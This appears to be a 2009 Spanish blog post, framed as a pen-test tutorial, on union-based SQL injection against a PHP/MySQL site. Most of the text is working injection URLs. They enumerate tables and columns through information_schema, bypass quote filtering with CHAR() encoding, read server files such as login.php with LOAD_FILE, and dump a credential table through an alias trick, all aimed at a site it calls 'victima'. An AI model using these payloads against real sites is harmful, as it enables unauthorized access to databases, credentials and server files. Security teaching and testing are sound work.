domingo 28 de junio de 2009

Pen-Test: Sql Inyeccion by Perverths0

Bueno muchas veces nos vemos con n lamentable panorama cuando estamos “auditando” una página y nos quedamos truncados ante las restricciones de falta de información sobre los datos q deseamos obtener como por ejemplo nos vemos ante una injeccion SQL


Index.php?Id=unión select 1,2,3,4,5,6,7 /*


Muy bien ahora probamos en obtener el nombre de la tabla como normalmente hacemos es tantear resultados como por ejemplo colocamos


Index.php?Id=unión select 1,2,3,4,5,6,7 from usuarios/*


Index.php?Id=unión select 1,2,3,4,5,6,7 from usuario/*


Index.php?Id=unión select 1,2,3,4,5,6,7 from admin/*


Para nuestro ejemplo asumimos que en la tabla donde guarda la información de los usuarios se llama admin muy bien pero ahora no sabemos cuáles son los nombres de sus columnas (atributos) para eso una de las primeras cosas que hacemos es también probar posibles valores como por ejemplo.


Index.php?Id=unión select 1,usuario,password,4,5,6,7 from admin/*


Index.php?Id=unión select 1,usuario,pass,4,5,6,7 from admin/*


Index.php?Id=unión select 1,user,password,4,5,6,7 from admin/*



Bueno así pero en muchos casos no logramos obtener el nombre de las columnas muy bien y bueno los que saben algo más de mysql o de un respectivo gestor de base de datos hace las consultas a las base de datos donde se guarda dicha información como son:


Information_schema —->MySQL


Sysobjets —>Sql server


Y bueno los respectos de cada gestor.


Muy bien nosotros suponemos para nuestro ejemplo que la victima corre su base de datos con MySQL entonces usaremos la base de datos information_schema de ahí sale la pregunta que información guarda esa base de datos?


Bueno existen en dicha base de datos dos tablas que son de interés a los que hacen una auditoria que son la tabla


· Tables: en dicha tabla se guarda información del nombre de las tablas que se encuentran creadas en el gestor y la respectiva base de datos a la que pertenece.


· Columns: en dicha tabla se guarda información del nombre de la columnas y el nombre de la tabla a la pertenece dicha columna.


Muy bien informándonos sobre la existencia de esa base de datos y las tablas que tiene procedemos a hacer consultas bueno nuestra consulta se reduce a averiguar el nombre de las columnas de la tabla “admin” que es el nombre de de la tabla de nuestro ejemplo muy bien la consulta seria de la siguiente forma:


Index.php?Id=unión select 1,column_name,table_name,4,5,6,7 from information_schema.columns where table_name=’admin’/*


ok pero en muchos casos sucede que las paginas filtran las comillas simples como es en el caso de php con su directiva magic_quotes que cuando esta activada ósea en “On” nos filtra dichos valores y no logramos hacer la consulta muy bien.


Una forma de saber si php tiene Magic_quoted =On o esta filtrando las comillas simples con alguna otra función como puede ser la función addslashes que también hace lo mismo es colocar comillar en el valor q estamos usando y vemos los resultados.


Index.php?Id=unión select 1,’2’,3,4,5,6,7 /*


si nos muestra los valores como si nada hubiera pasado es que tiene Magic_quotes=Off


pero si nos manda error o simplemente no nos manda datos eso quiere decir que tiene Magic_quotes=On o filtra los datos con alguna función.


Ahora un forma de bypassear esto es que sabemos que mysql y otros gestores pueden tomar valores ascii y entenderlos como cadenas de texto entonces solamente convertimos la cadena ”admin” a una cadena de valores ascii y la consulta quedaría de la siguiente forma.


Index.php?Id=unión select 1,column_name,table_name,4,5,6,7 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)/*


Pero sucede que en muchos casos no tenemos permisos para poder hacer consultas a la base de datos Information_schema L bueno.


Muy bien pero no demos por vencidos existe aun alternativas ahora en muchos casos los programadores de las paginas web se olvidan administrar los errores y en muchos casos nos sale la dirección física de la pagina web, muy bien pero de hablo cuando digo dirección física un ejemplo podrá mas que mil palabras J.


/home/victima/www/index.php —> dirección Fisica.


www.victima.com —> dirección virtual


ahora suponemos que en nuestro ejemplo logramos ver la dirección física bien pero que podemos hacer para saber el nombre de la columnas de nuestra tabla, para esto existe una función en MySQl que se llama LOAD_FILE que lo que hace es cargar en texto plano el contenido de un archivo entonces lo que tendríamos q hacer es buscar el nombre de la página de logeo y asi saber cuál es el script que hace la consulta a la base de datos para el logeo de los usuarios en nuestro ejemplo será “login.php” entonces lo que hacemos es cargar el contenido de ese script para poder saber sobre la consulta que se hace y de ahí poder sacar los datos del nombre de las dichosas tablas la consulta seria de la siguiente forma.


Index.php?Id=unión select 1,LOAD_FILE(‘/home/victima/www/login.php ‘),3,4,5,6,7 /*


Pero puede q pase como en el caso anterior nos filtre las comillas entonces tenemos que usar los valores ascii para poder hacer la consulta de la siguiente forma.


Index.php?Id=unión select 1,LOAD_FILE(CHAR(47, 104, 111, 109, 101, 47, 118, 105, 99, 116, 105, 109, 97, 47, 119, 119, 119, 47, 108, 111, 103, 105, 110, 46, 112, 104, 112)),3,4,5,6,7 /*


Muy bien hacemos la consulta pero en muchos casos tampoco podemos ver los datos por no tener los permisos respectivos L.


Ahora existe una ultima forma que fue la razón de este post J que bueno nolo vi en otro lado y si es q hay no sabia es algo que alguna vez me ayudo y que funciona en todos los gestores que usan sql como son sqlserver, mysql, postgre, oracle, etc.


Bueno sabes que en la sintaxis de sql podemos asignar ciertos nombres para el nombre de las columnas y tablas ok entonces nosotros le daremos un nombre a nuestra tabla de la siguiente forma


Index.php?Id=unión select 1,2,3,4,5,6,7 from admin a/*


El nombre que le asignamos es “a” ahora hacemos la consulta de la siguiente forma.


Index.php?Id=unión select a.*,2,3,4,5,6,7 from admin a/*


El valor “a.*” quiere decir todos los valores de la tabla admin ahora si es que la tabla admin tendría una sola columna nos mandaria su valor ahora quitamos los nros de acuero al nro de columnas de la tabla admin en nuestro caso la tabla admin tiene 5 columnas entonces la consulta quedaría de la siguiente forma.


Index.php?Id=unión select a.*,6,7 from admin a/*


Ahora nos mostrar los valores de la tabla ”admin2 sin tener conocimiento del nombre de sus columnas es una alternativa no muy efectiva pero bueno es una alternativa mas que los traigo ahora para que se logre hacer una consulta de esa forma se tiene que dar ciertas condiciones como que el nro de columnas de la injeccion debe ser mayor al nro de columnas de la tabla de consulta en nuestro caso “admin”


Bueno espero les sea de utilidad este post hast un pronto post saludos para todos cualquier duda no duden en postearlo saludos


fuente: Cuscosoft

Saludos
Dr.White